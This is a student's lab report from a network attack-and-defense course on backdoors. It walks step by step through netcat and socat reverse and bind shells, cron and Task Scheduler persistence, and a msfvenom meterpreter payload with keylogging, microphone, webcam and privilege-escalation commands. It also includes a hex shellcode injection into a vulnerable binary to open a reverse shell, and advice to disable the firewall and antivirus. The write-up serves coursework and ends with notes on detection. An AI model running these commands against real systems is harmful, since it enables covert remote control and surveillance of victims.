2019-2020-2 20175227张雪莹《网络对抗技术》 Exp2 后门原理与实践

2019-2020-2 20175227张雪莹《网络对抗技术》

Exp2 后门原理与实践

目录


0. 基础知识

0.1 后门概念

不经过正常认证流程而访问系统的通道。

0.2 哪里有后门?
  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
0.3 相对狭义的后门概念:
  • 特指潜伏于操作系统中专门做后门的一个程序
  • “坏人”可以连接这个程序
  • 远程执行各种指令
  • 概念和木马有重叠

返回目录

1. 实验内容

1.0 常用后门工具
  • NCnetcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
    • Windows: 课程主页附件中下载ncat.rar解压即可使用。
    • Mac: 系统自带,"man nc",查看其使用说明。
1.0.1 Win获得Linux Shell
  • windows 打开监听
    • 下载ncat.rar,解压至主机中任意位置。(为了方便,我将它放在C:\Users\S2中,这样命令行中直接进入即可)
    • 在主机上按Windows+r输入cmd打开命令行,输入ipconfig查看主机IP地址

  • 进入nc所在文件夹中,输入ncat.exe -l -p <端口号>,如图:

  • Linux反弹连接win
    • kali终端中输入nc <主机IP地址> <之前输入的端口号> -e /bin/sh,如图:

  • windows下获得一个linux shell,可运行任何指令,如lspwd

1.0.2 Linux获得Win Shell
  • Linux运行监听指令

    • 输入ip add查看Linux的IP地址
    • 之后输入nc -l -p <端口号>,使其处于监听状态
  • Windows反弹连接Linux

    • 输入ncat.exe -e cmd.exe ip_of_linux <之前输入的端口号>
  • Linux下看到Windows的命令提示

1.0.3 使用nc传输数据
  • windows运行监听指令

  • Linux连接到Windows

  • 建立连接后可传输数据

返回目录

1.1 使用netcat获取主机操作Shell,cron启动
  • 在主机打开命令行,使用ncat.exe -l 5227监听5227端口

  • 在Linux中,终端里输入crontab -e编辑一条定时任务,之后选择编辑器3,在底行插入30 * * * * /bin/netcat 192.168.171.1 5227 -e /bin/sh,即在每个小时的第30分钟反向连接主机的5227端口。

  • 系统第三十分钟时,已经反向连接至Linux,获取了Shell:

返回目录

1.2 使用socat获取主机操作Shell, 任务计划启动
  • 在主机上下载老师附件中提供的socat.rar,然后解压到自选路径。
  • 在主机中找到左下角windows标志,然后右键->计算机管理->任务计划程序->创建任务

  • 常规选项卡中填写任务名称( 这里我起名为zxysocat ),然后在触发器选项卡中新建触发器,参照下图选择:

  • 操作选项卡中,选择新建操作,设置中程序或脚本处选中你所下载解压的socat.exe的路径,在添加参数中填入tcp-listen:<端口号> exec:cmd.exe,pty,stderr,即将cmd.exe绑定到该端口号,同时把cmd.exestderr重定向stdout上。

  • 确定操作后,需按win+L锁定主机,登录进去后,双击任务计划程序库,可以发现刚刚创建的任务socat已经开始运行。

  • 紧接着,在Linux中输入socat - tcp:<主机IP>:<之前输入的端口号>,其中-表示标准输入/出,第二个流连接到主机的相应端口。之后发现已经成功获得一个cmd Shell

返回目录

1.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 在Linux中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=<反弹连接的IP> LPORT=<想要使用的端口号> -f exe > <文件名>.exe,其中反弹连接IP为Linux的IP。如图所示,生成了想要的后门程序:zxy_20175227_backdoor.exe

  • 在主机命令行中输入ncat.exe -lv 5227 > zxy_20175227_backdoor.exe,获得当前连接状态

  • Linux中输入nc <主机IP> <之前输入的端口号> < <文件名>.exe ,将生成的后门程序传送至主机,下图为传输成功情况。


  • Linux中重新打开一个终端,输入msfconsole进入msf控制台
  • 依次输入:
    • use exploit/multi/handler //使用监听模块,设置payload
    • set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload
    • set LHOST <Linux的IP>
    • set LPORT <之前输入的端口号>
    • exploit //设置完成,开始监听

  • 进行此操作前务必关闭主机的防火墙和杀软)先在主机命令行中中断当前操作,再双击运行后门程序zxy_20175227_backdoor.exe。之后发现Linux获得了主机的Shell:

返回目录

1.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 以下操作可以紧接着上一步操作进行
  • 输入record_mic截获音频

  • (我的原装摄像头硬件上有问题,之前装了驱动等尝试都无法检测到摄像头,准备去售后维修。)输入webcam_snap使用摄像头拍照

  • 输入screenshot进行截屏

  • 输入keyscan_start开始记录下击键,输入keyscan_dump指令读取击键的记录

  • 还可以使用getuid查看当前用户,使用getsystem进行提权

返回目录

1.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
  • 这里通过学习了学姐的博客,再参考了本班同学的操作过程

  • 首先要到官网上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)这个文件:
    (这个外网巨龟速,我把它传码云了,链接在此下载c文件就行

  • 这里需要参考实验一的任务三找到shellcode地址:

  • 在第一个终端里关闭地址随机化 //准备工作
  • 在第一个终端中运行pwn1之后不回车
  • 在第二个终端中查找pwn1的进程号,用GDB追踪该进程,找到栈顶(esp)中存放的地址,计算出shellcode地址
  • 在第一个终端中中断pwn1运行
  • 在第二个终端中注入input_shellcode:
		perl -e 'print "A" x 32;print"\xe0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
  • 在第三个终端中打开msf控制台,依次输入:
		use exploit/multi/handler  // 使用监听模块,设置payload(攻击荷载)
		set payload linux/x86/shell_reverse_tcp  // 这里设置为我们下载的那个payload
		set LHOST 127.0.0.1  // 原始文件中的主机号和端口号都没改,我们默认使用
		set LPORT 4444         
		show options
		exploit // 设置完成,开始监听
  • 在第二个终端中用(cat input_shellcode;cat) | ./pwn1运行
  • 这时发现第三个终端中获得了shell
  • 截图如下:

返回目录

2. 老师提问

2.1 例举你能想到的一个后门进入到你系统中的可能方式?
  • 回答:老师视频中也提到过,最常见的就是在第三方网站上下载一些软件安装包,这些安装包80%都是有后门的。一旦下载后安装,黑客就可以利用这些后门程序对你的系统进行恶意攻击。
2.2 例举你知道的后门如何启动起来(win及linux)的方式?
  • 回答:
    • win:就像此次实验中做的,创建一个cron任务,定时循环启动。
    • linux:把它绑定在某个脚本文件中,脚本文件开机自动运行,反弹连接被攻击机。
2.3 Meterpreter有哪些给你映像深刻的功能?
  • 回答:很可怕的就是,它可以控制你的摄像头(虽然我没有成功),这样的话我们就毫无隐私可言,一言一行全都暴露在黑客的眼睛中。
2.4 如何发现自己有系统有没有被安装后门?
  • 回答:在cmd中用netstat -na查看端口开放情况,当开的端口大于1024尤其是4000以上的时候,很有可能就被安装后门了。这时可以自己手动修改注册表,删除可疑的可执行文件进行查杀,或者使用杀软。

返回目录

3. 所遇到的问题及其解决方法

3.1 问题1
  • 描述:无法查看Linux的IP地址,ifconfig命令无法找到,如图:

  • 解决方法:我怀疑是没有安装与ifconfig命令相关的工具包,上网搜索之后该命令在net-tools中,apt-get install net-tools后显示该工具包已经安装,如图:

之后经过发现一篇博文发现ifconfig命令已经被逐渐淘汰,建议选用ip add命令,果真查到了IP地址结果在此。

3.2 问题2
  • 描述:Linux监听失败,未能进入Windows Shell,如图:

  • 解决办法:我猜测可能是由于主机防火墙已经将其拦截,打开拦截信息查看,果真如此,如图:


关闭防火墙,卸载安全软件后,Linux成功进入Windows Shell,结果在此。

3.3 问题3
  • 描述:Linux中无法执行meterpreter命令,如图:

  • 解决方法:它提示我需要卸载当前bundler,我推测是当前该版本与kali版本不匹配。根据网上建议,我下载了bundler-1.17.3,之后成功进行后续操作:

返回目录

4. 实验感想

  • 在这次实验中,我做的冷汗直流。因为之前知道黑客干些啥,但是不知道他们那么简单就能进入你的系统,对你的系统进行恶意攻击。我还经常从啥**软件网下安装包,开心地用着破解软件。殊不知自己的系统可能已经完全由别人所掌握……看来我们不光要学习这些技能,要增强自己的思想道德建设,将所学用到正道上。另外,回归正题,在做加分任务的时候,我才发现自己实验一的任务三并不太清楚实践目的,自己又花了一些时间去把它强化,应用到此次实验中,佩服江学姐的学习能力,她有清晰的思维去指导自己把这个任务完成。自己还差的很远,要继续加油啊!

返回目录

5.参考资料

返回目录

posted @ 2020-03-10 08:27  20175227  阅读(407)  评论(0编辑  收藏  举报